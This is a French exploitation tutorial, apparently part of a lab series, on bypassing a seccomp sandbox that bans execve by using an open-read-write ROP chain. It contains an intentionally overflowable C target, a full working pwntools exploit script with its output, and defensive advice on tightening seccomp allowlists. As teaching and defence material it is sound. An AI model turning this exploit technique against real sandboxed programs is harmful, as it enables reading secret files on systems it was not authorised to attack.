Aller au contenu

Bacs à sable seccomp et la chaîne open-read-write

Une politique seccomp qui bannit execve retire le shell du jeu ; les attaquants pivotent : ouvrir le flag, le lire, le renvoyer. La chaîne ORW.

Publié le 4 min de lecture

Ceci est le quatorzième tutoriel de l'espace Techniques d'exploitation. Chaque final jusqu'ici se terminait par execve("/bin/sh", ...). De nombreuses cibles réelles — analyseurs en bac à sable, moteurs de rendu de navigateurs, démons durcis — installent un filtre seccomp qui interdit purement et simplement execve. Un shell est impossible. L'attaquant change donc d'objectif : ouvrir le fichier sensible, le lire, le réécrire vers la connexion. C'est la chaîne ORW (open-read-write), et c'est pourquoi seccomp est une mitigation si précieuse à raisonner.

Votre propre binaire, labo jetable. Voir les règles du labo.

La cible : un bac à sable qui bannit execve

/* vuln.c — installs a seccomp allowlist, then has an overflow. */
#include <unistd.h>
#include <seccomp.h>

static void sandbox(void) {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);   /* deny by default */
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat),0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);                                   /* execve now kills us */
}

void vuln(void){ char b[64]; read(0, b, 1024); }
int main(void){ sandbox(); vuln(); return 0; }
gcc -static -fno-stack-protector -no-pie -O0 -g -o vuln vuln.c -lseccomp

D'abord, confirmez la politique depuis l'extérieur — exactement comme le ferait un défenseur auditant le bac à sable :

$ seccomp-tools dump ./vuln
 line  CODE  JT   JF      K
=================================
 ...
 0007: ALLOW  open
 0008: ALLOW  read
 0009: ALLOW  write
 0010: ALLOW  exit_group
 0011: KILL                       ← execve lands here

execve n'est pas autorisé, donc ret2libc, one-gadget et une chaîne ROP execve meurent tous sur le KILL. Mais open, read et write sont autorisés.

La chaîne ORW

Le plan tient en trois appels système : open("flag.txt") → read(fd, bss, n) → write(1, bss, n). On la construit avec des gadgets exactement comme dans le guide ROP ; un binaire statique a tout ce qu'il nous faut, et le ROP de pwntools dispose les appels système.

# orw.py
from pwn import *

context.binary = elf = ELF("./vuln")

rop = ROP(elf)
bss = elf.bss(0x400)                     # scratch buffer, known address (no PIE)

# Stage the filename into .bss with a read, then open/read/write it.
rop.read(0, bss, 16)                     # read "flag.txt\0" into bss
rop.open(bss, 0)                         # fd = open(bss, O_RDONLY)
rop.read(3, bss, 100)                    # read(fd=3, bss, 100)
rop.write(1, bss, 100)                   # write(stdout, bss, 100)

payload = flat({72: rop.chain()})
io = process("./vuln")
io.sendline(payload)                     # the ORW chain
io.send(b"flag.txt\x00")                 # the filename read() consumes
print(io.recvall(timeout=2).decode(errors="replace"))
$ python3 orw.py
flag{seccomp_only_contained_the_shell_not_the_read}

Aucun shell n'a jamais été lancé. La chaîne n'a utilisé que les trois appels système que la politique autorisait pour lire un fichier et l'afficher. Notez l'hypothèse que le fichier fraîchement ouvert reçoit fd == 3 (stdin/out/err sont 0/1/2) ; si le programme a d'autres descripteurs ouverts, ajustez ou utilisez la valeur de retour.

Quand même open est bloqué

Des politiques plus strictes refusent aussi open/openat. Les attaquants se rabattent alors sur openat2, open_by_handle_at, ou des descripteurs déjà ouverts — ce qui est précisément pourquoi une bonne politique refuse aussi ceux-ci et restreint l'ensemble autorisé aussi étroitement que le programme en a réellement besoin.

Le prisme défensif : rendre la politique plus stricte

seccomp est la mitigation ici, et cet exercice montre à la fois sa valeur et ses limites.

Choix de politiqueEffet
Refuser execve/execveatPas de shell — force les attaquants vers ORW
Refuser aussi open/openat/openat2Pas de lecture de fichiers arbitraires via de nouvelles ouvertures
Refuser socket/connect/sendtoPas d'exfiltration réseau
N'autoriser que les appels système exacts utilisésRayon d'impact minimal ; auditez avec seccomp-tools
SCMP_ACT_KILL vs ERRNOKILL transforme l'abus en un crash bruyant sur lequel alerter

Le point pour les défenseurs : seccomp n'arrête pas le bug de corruption mémoire — l'attaquant a quand même obtenu l'exécution de code. Il plafonne ce que cette exécution peut faire. Une politique qui bannit execve mais laisse open/read/write grand ouverts permet encore à un attaquant de voler le contenu de fichiers. Cadrez la liste d'autorisation sur ce dont le programme a vraiment besoin, refusez les appels système de fichiers et de réseau dans les bacs à sable de calcul pur, et auditez le résultat.

Ce que cela enseigne à un défenseur

  • Mettez en bac à sable avec seccomp les analyseurs et démons exposés. C'est l'une des rares mitigations qui limite un processus entièrement compromis. Pour tout ce qui traite des entrées non fiables, c'est une défense en profondeur à forte valeur.
  • Un shell n'est pas le seul butin. Même une interdiction parfaite d'execve laisse l'exfiltration de données sur la table si les appels système de fichiers/réseau demeurent. Modélisez la menace selon ce que veut l'attaquant (souvent juste lire un secret), pas seulement « peut-il obtenir un shell ».
  • Auditez le filtre que vous avez réellement livré. seccomp-tools dump montre la vraie politique. Les listes d'autorisation trop larges sont courantes ; traitez le filtre comme une configuration critique pour la sécurité et relisez-le.

Points clés

  • Une liste d'autorisation seccomp qui refuse execve déjoue tous les finals lançant un shell de cette série.
  • Les attaquants répondent par une chaîne open-read-write : open le fichier cible, le read, le write en retour — en n'utilisant que les appels système permis.
  • Construisez ORW avec la même mécanique ROP qu'une chaîne execve ; auditez les politiques avec seccomp-tools.
  • seccomp contient une compromission, il ne la prévient pas — cadrez la liste d'autorisation étroitement et refusez les appels système de fichiers/réseau là où le programme n'en a pas besoin.

Cela étend la série vers l'exploitation confinée, sans shell. Pour le parcours complet et où le pratiquer légalement, voir la vue d'ensemble de l'espace et le parcours d'apprentissage CTF.

Guides associés

0x7000 · Techniques d'exploitation

ret2csu : emprunter le gadget universel du runtime

Pas de gadget pop rdx ? Le code de démarrage du runtime C a une séquence universelle qui charge plusieurs registres et fait un appel contrôlé. Construisez-la avec pwntools.

0x7000 · Techniques d'exploitation

SROP : exploiter avec un faux cadre de signal

Quand les gadgets sont rares, forgez un cadre de signal. Un appel sigreturn restaure tous les registres depuis la pile d'un coup — construisez-en un avec pwntools pour appeler execve.